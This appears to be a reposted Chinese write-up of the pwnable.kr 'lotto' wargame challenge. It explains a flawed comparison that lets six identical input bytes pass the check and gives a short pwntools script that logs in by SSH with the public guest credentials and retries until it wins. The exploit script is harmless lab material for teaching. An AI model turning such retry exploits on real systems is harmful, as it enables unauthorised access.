pwnable之lotto

来源:互联网 发布:孔雀公主牙膏知乎 编辑:程序博客网 时间:2024/06/07 11:41

ssh登录后查看源代码发现,程序对比6个1到45的随机数和6个输入的数,出现6次相等就成功,但是程序比对了36次所以输入6个同样的数字如果随机的6个中只有一个对也可以成立6次相等的条件

由于我人品貌似比较衰,试了好几次都没成立,吓得我还查了遍别人的题解,所以最后没办法跑了个脚本

from pwn import *


shell_addr = 0x080484eb


s =  ssh(host='pwnable.kr',
         port=2222,
         user='lotto',
         password='guest'
        )
p = s.process("./lotto")
c="bad luck.."
print p.recv(1024)
while(c.find("bad luck..")!=-1):
 p.send("1\n")
 print p.recvuntil("Submit your 6 lotto bytes : ")
 p.send("######\n")
 c=p.recv(1024)
 print "111"+c+"222"
p.interactive()